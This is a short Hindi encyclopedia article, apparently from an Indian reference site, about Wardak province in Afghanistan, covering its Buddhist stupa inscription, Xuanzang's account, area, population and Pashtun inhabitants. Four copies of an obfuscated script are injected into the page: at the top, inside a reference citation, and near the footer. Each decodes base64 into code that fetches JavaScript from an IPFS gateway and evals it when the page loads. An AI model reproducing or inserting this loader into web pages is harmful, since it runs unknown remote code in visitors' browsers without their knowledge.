वरदक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
वरदक अफ़ग़ानिस्तान का एक प्रान्त है। इसे 'वरदस्थान' भी कहा जाता है। यहाँ की ज़्यादातर आबादी यहाँ से निकलने वाले काबुल-कंदहार के आसपास के इलाक़े में बसती है और बाक़ी पहाड़ी स्थानों पर आबादी बहुत कम घनी है।
- यहाँ पर एक प्राचीन बौद्ध स्तूप स्थित है, जिसमें एक पीतल के घड़े पर 6 ई. पू. का एक अभिलेख प्राप्त हुआ है।
- प्रसिद्ध चीनी यात्री युवानच्वांग[१] ने इस स्थान का उल्लेख वर्तमान ग़ज़नी से 40 मील पर किया है।[२]
- युवानच्वांग के अनुसार यहाँ का राजा तुर्की बौद्ध था।
- वरदक को 'वरदस्थान' भी कहा जाता है।
- इस प्रान्त का क्षेत्रफल लगभग 9,934 वर्ग कि.मी. है और इसकी आबादी सन 2009 में लगभग 5.4 लाख अनुमानित की गई थी।
- यहाँ के अधिकतर लोग पश्तून हैं और पश्तूनों के वरदक क़बीले के ऊपर ही इस प्रान्त का नाम रखा गया है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ जिसका भारत भ्रमण काल 630-645 ई. है।
- ↑ ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 832 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
वर्णमाला क्रमानुसार लेख खोज
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>